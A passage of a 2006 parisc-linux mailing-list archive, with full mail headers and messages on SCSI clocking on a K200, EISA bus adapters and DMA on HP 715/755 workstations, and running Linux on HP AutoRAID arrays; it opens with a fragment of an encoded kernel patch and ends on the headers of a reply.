YXJlYV9zdHJ1Y3QgKnZtYSwKIAkJdW5zaWduZWQgbG9uZyBvbGRfYWRkciwgdW5zaWduZWQgbG9u
ZyBvbGRfbGVuLAogCQl1bnNpZ25lZCBsb25nIG5ld19sZW4sIHVuc2lnbmVkIGxvbmcgbmV3X2Fk
ZHIpCiB7Cg==
------=_Part_15902_18081752.1160603294502
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_15902_18081752.1160603294502--



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't write to hard drives on a K200
Date: Wed, 11 Oct 2006 19:19:28 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20061012011928.GB18624@colo.lackof.org>
References: <J6B9MR$91CD8B56571F1770C341CEA677BE5E0B@scarlet.be>
	<200609290939.19381.mszick@morethan.org>
	<20060929145622.GM5017@parisc-linux.org>
	<200610111114.14135.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624195 21405 80.91.229.3 (22 Nov 2014 02:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:15 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 01:19:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 12 Oct 2006 03:19:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E314F7D7A8;
	Wed, 11 Oct 2006 19:19:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25005-09; Wed, 11 Oct 2006 19:19:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD4897D79B;
	Wed, 11 Oct 2006 19:19:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B982C7D795
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:19:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24909-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:19:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 677F97D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:19:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BFE1829804B;
	Wed, 11 Oct 2006 19:19:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20973-01; Wed, 11 Oct 2006 19:19:28 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6F05729803C; Wed, 11 Oct 2006 19:19:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200610111114.14135.mszick@morethan.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AqAbdDZKYmYSfenCanc3KSFKWkZTQZQ+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24028

On Wed, Oct 11, 2006 at 11:14:13AM -0500, Michael S. Zick wrote:
> Could you (or anyone on the list) eyeball the GSC scsi card(s) and
> see if they have their own crystal(s)? 
> Or are these controllers clocked by the GSC bus clock?
> 
> Expected would be a 40 or 80 Mhz crystal depending on the controller
> if not clocked by the card's bus.

The GSC bus and the SCSI bus are in independent frequency domains.
All logic on the board will be divided between those two zones.
My guess is the SCSI chip is bridging the two but I don't know that
for sure.

My point is the presence of the crystal is just to drive the clocking
on the SCSI Bus and probably doesn't tell us much about
which frequency domain any particular part is unless you
put an oscilloscope on the board

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NICs on EISA bus...
Date: Fri, 13 Oct 2006 11:08:25 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20061013170825.GE11633@parisc-linux.org>
References: <452CFD68020000C500004FA3@mail.scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624196 21408 80.91.229.3 (22 Nov 2014 02:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:16 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org
To: James Love <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Oct 2006 17:08:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 13 Oct 2006 19:08:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C2F37D804;
	Fri, 13 Oct 2006 11:08:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30859-07; Fri, 13 Oct 2006 11:08:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 189E27D7FC;
	Fri, 13 Oct 2006 11:08:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 987AC7D796
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 11:08:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30618-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 11:08:26 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3DF197D7F1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Oct 2006 11:08:26 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 17C84494007; Fri, 13 Oct 2006 11:08:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <452CFD68020000C500004FA3@mail.scires.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cqFKBG0NfW4oTuWveGVow2dmdmllcoVs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24029

On Wed, Oct 11, 2006 at 02:19:20PM -0400, James Love wrote:
> This particular 715 appears to have a Scorpio EISA bus adapter.  I see
> no mention of WAX as a device in the boot logs (excerpt appended below).

The EISA bit of Wax and Mongoose are essentially the same.

>  Is the Scorpio a good or a bad thing in regards to getting this bus
> working?  I also have a 755 with a Cobra EISA BA, any idea whether that
> will work either?

That's also a Mongoose.

Interrupts probably work; I haven't tried them recently, but they should.
Port IO and Memory IO accesses to the chip from the CPU should work.
DMA from the chip to host RAM will not work.  I've read the chapter in
the ERS which describes how to make it work; unfortunately, I don't
remember it in enough detail, and don't have that document any more.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Gaylard <ag@computer.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Any chance of an HP AutoRAID array working?
Date: Thu, 12 Oct 2006 21:21:36 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <452E95C0.3050307@computer.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624196 21413 80.91.229.3 (22 Nov 2014 02:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 19:21:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 12 Oct 2006 21:21:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 488A57D735;
	Thu, 12 Oct 2006 13:21:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15405-02; Thu, 12 Oct 2006 13:21:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FD4C7D743;
	Thu, 12 Oct 2006 13:21:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9460F7D707
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:21:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14408-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:21:17 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 0278F7D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 13:21:16 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id c2so391588ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 12:21:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:content-type:content-transfer-encoding:sender;
	b=bqWh/yfXGzMNRHC4WK7nYbLcatE4ItzdEW7Xqes01Z2PZFICoJ3DtAuqt9uy7N3isWBuZljNmvo4Bhh3eJZkUHbUqCtYOGZ82rAhs3U8v43mj5kI5Ig7mcHam4ZuB1M8TJTCN8jQVHGZIrG9n0IyXegksNKJy85ItTa5ROFIgmY=
Original-Received: by 10.78.128.11 with SMTP id a11mr2627833hud;
	Thu, 12 Oct 2006 12:21:15 -0700 (PDT)
Original-Received: from ?192.168.1.6? ( [165.165.140.233])
	by mx.google.com with ESMTP id 38sm904892hua.2006.10.12.12.21.11;
	Thu, 12 Oct 2006 12:21:14 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060503
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7PBcZWEYeSE5SL6WZHQhLop2IGRvb0BT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24030

Hello PA-people,

Today I purchased 2 K370s and a K570 for roughly US$75 ($25 each).
All of the machines have 4 internal disks: 4, 4, 9, and 9 GB.

However, one K370 and the K570 have each got a disk array in them,
full of 18GB disks, and sporting a fancy LCD display.  These arrays
take up roughly half a rack each, and are labelled "HP AutoRAID".

The boxes have HPUX-10.20 on them, and SAM identifies the AutoRAID
unit as a single logical drive (with extra goodies such as the
power and fan status, etc.  Nice.)  Each array is connected to
its server via a large HSC board with what appears to be several
differential SCSI cables.

I'm keen to use Linux (probably Gentoo but Debian's also fine) on
these boxes, but I'm wondering if that'll mean I'll have to forfeit
the 8 x 18G disks in each array, which would be a pity...

I don't need to know the PSU and fan statuses, I just want the space.
If necessary, I can dedicate one of the 4 internal disks to HPUX,
just in case I need to reconfigure the RAID system.

Has anyone tried Linux on one of these AutoRAID systems?  A brief spin
though Google didn't reveal anything.  It also didn't reveal a manual
on how to configure the arrays, so any pointers to *that* would also
be useful.

Also, I presume that I can strip two of the machines to fill up
the remaining machine with RAM and CPUs;  the HWDB seems to suggest
that multiple processors will work OK under recent kernels.  Right?

Thanks,
Andrew

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NICs on EISA bus...
Date: Sat, 14 Oct 2006 07:35:23 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <200610140735.23911.mszick@morethan.org>
References: <452CFD68020000C500004FA3@mail.scires.com>
	<20061013170825.GE11633@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624196 21416 80.91.229.3 (22 Nov 2014 02:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:16 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 James Love <jlove@scires.com>,
 Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Oct 2006 12:35:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 14 Oct 2006 14:35:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E51C47D743;
	Sat, 14 Oct 2006 06:35:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11973-06; Sat, 14 Oct 2006 06:35:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E845C7D6FC;
	Sat, 14 Oct 2006 06:35:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76B7E7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 06:35:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11973-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 06:35:37 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 21AC27D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Oct 2006 06:35:37 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k9ECZgXD095389;
	Sat, 14 Oct 2006 05:35:42 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.72.86] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id RoO0xsU2
	authenticated by SMTP; Sat, 14 Oct 2006 05:35:40 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20061013170825.GE11633@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xrRSEXJ3bXBtTrqHPTQ2GAYqLyUmZcgv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24031

On Fri October 13 2006 12:08, Matthew Wilcox wrote:
> On Wed, Oct 11, 2006 at 02:19:20PM -0400, James Love wrote:
> > This particular 715 appears to have a Scorpio EISA bus adapter.  I see
> > no mention of WAX as a device in the boot logs (excerpt appended below).
> 
> The EISA bit of Wax and Mongoose are essentially the same.
> 
> >  Is the Scorpio a good or a bad thing in regards to getting this bus
> > working?  I also have a 755 with a Cobra EISA BA, any idea whether that
> > will work either?
> 
> That's also a Mongoose.
> 
> Interrupts probably work; I haven't tried them recently, but they should.
> Port IO and Memory IO accesses to the chip from the CPU should work.
> DMA from the chip to host RAM will not work. 

The machine I am setting up to test changes in the ncr-risc code for
the scsi controllers also has the Cobra EISA BA.

Will look at the EISA DMA situation, but it will be a matter of luck
not skill or knowledge if I can make it work.

I do recall that getting the contents of the cache and the memory to
be the same has to be done in software and it did not sound easy the
first time I read about it.

Mike

> I've read the chapter in 
> the ERS which describes how to make it work; unfortunately, I don't
> remember it in enough detail, and don't have that document any more.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any chance of an HP AutoRAID array working?
Date: Thu, 12 Oct 2006 14:12:42 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20061012201242.GC15124@colo.lackof.org>
References: <452E95C0.3050307@computer.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624197 21418 80.91.229.3 (22 Nov 2014 02:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Gaylard <ag@computer.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 20:12:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 12 Oct 2006 22:12:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E50CA7D800;
	Thu, 12 Oct 2006 14:12:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16298-01; Thu, 12 Oct 2006 14:12:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D75C7D7F7;
	Thu, 12 Oct 2006 14:12:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 368967D7F0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 14:12:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15885-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 14:12:43 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E94A27D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Oct 2006 14:12:42 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 594303985AE;
	Thu, 12 Oct 2006 14:12:42 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15957-10; Thu, 12 Oct 2006 14:12:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0C4B8398387; Thu, 12 Oct 2006 14:12:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <452E95C0.3050307@computer.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kMRcZWAYeSE5SL6WZHQhqWp2IGRvb0Cx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24032

